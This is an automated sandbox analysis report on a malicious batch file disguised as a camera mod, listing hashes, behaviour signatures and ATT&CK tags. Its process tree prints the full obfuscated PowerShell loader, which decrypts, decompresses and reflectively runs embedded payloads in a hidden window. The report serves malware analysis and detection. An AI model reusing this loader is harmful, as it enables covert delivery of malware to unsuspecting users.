b1e02899752b3e45311d824e70bed91652fcfae6ad24e42a8cd91741def5af92

Analysis

max time kernel
16s
max time network
17s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
04/09/2024, 04:24

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General

Target

Devs Camera Mod.bat
Size

320KB
MD5

58507a2c740eb9251ee878ce7f25b72a
SHA1

d9702407c6390f65e5cff7c0c331352f5bfc52b8
SHA256

b1e02899752b3e45311d824e70bed91652fcfae6ad24e42a8cd91741def5af92
SHA512

be89349449467532f042789601dca41356944f9ae899c7a7725bc077608c37afc35a43cac9b8d92db437f1eae3da533dcc3cc1a39e8437dacd75842e5b5f9131
SSDEEP

6144:Qs2zVlFK4D5IHQgPJngBrG6VGVLcD+YIxMXWonO:QPxnGs+5cD1I6XbO

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2592	powershell.exe

Deletes itself 1 IoCs

pid	Process
2908	cmd.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2592	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2592	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 2908 wrote to memory of 2556	2908	cmd.exe	31
PID 2908 wrote to memory of 2556	2908	cmd.exe	31
PID 2908 wrote to memory of 2556	2908	cmd.exe	31
PID 2556 wrote to memory of 2408	2556	net.exe	32
PID 2556 wrote to memory of 2408	2556	net.exe	32
PID 2556 wrote to memory of 2408	2556	net.exe	32
PID 2908 wrote to memory of 2592	2908	cmd.exe	33
PID 2908 wrote to memory of 2592	2908	cmd.exe	33
PID 2908 wrote to memory of 2592	2908	cmd.exe	33

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Devs Camera Mod.bat"
1⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2908
- C:\Windows\system32\net.exe
  net file
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2556
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 file
    3⤵
    PID:2408
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7q3pYSfGwp6K6dlCFvkWbgtv/dBsW50RyMh5vQnsYG4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('fsqAJFV1AROJcZz5keHA4A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $NQmky=New-Object System.IO.MemoryStream(,$param_var); $KMpfA=New-Object System.IO.MemoryStream; $BQpzm=New-Object System.IO.Compression.GZipStream($NQmky, [IO.Compression.CompressionMode]::Decompress); $BQpzm.CopyTo($KMpfA); $BQpzm.Dispose(); $NQmky.Dispose(); $KMpfA.Dispose(); $KMpfA.ToArray();}function execute_function($param_var,$param2_var){ $nOAIs=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $eOdYi=$nOAIs.EntryPoint; $eOdYi.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Devs Camera Mod.bat';$qnoql=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Devs Camera Mod.bat').Split([Environment]::NewLine);foreach ($hbFVI in $qnoql) { if ($hbFVI.StartsWith(':: ')) { $icdoU=$hbFVI.Substring(3); break; }}$payloads_var=[string[]]$icdoU.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2592

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2592-4-0x000007FEF5EBE000-0x000007FEF5EBF000-memory.dmp

Filesize
4KB

Download
memory/2592-5-0x000000001B570000-0x000000001B852000-memory.dmp

Filesize
2.9MB

Download
memory/2592-6-0x0000000001F00000-0x0000000001F08000-memory.dmp

Filesize
32KB

Download
memory/2592-7-0x000007FEF5C00000-0x000007FEF659D000-memory.dmp

Filesize
9.6MB

Download
memory/2592-8-0x000007FEF5C00000-0x000007FEF659D000-memory.dmp

Filesize
9.6MB

Download
memory/2592-9-0x000007FEF5C00000-0x000007FEF659D000-memory.dmp

Filesize
9.6MB

Download
memory/2592-11-0x000007FEF5C00000-0x000007FEF659D000-memory.dmp

Filesize
9.6MB

Download
memory/2592-10-0x000007FEF5C00000-0x000007FEF659D000-memory.dmp

Filesize
9.6MB

Download
memory/2592-12-0x000007FEF5C00000-0x000007FEF659D000-memory.dmp

Filesize
9.6MB

Download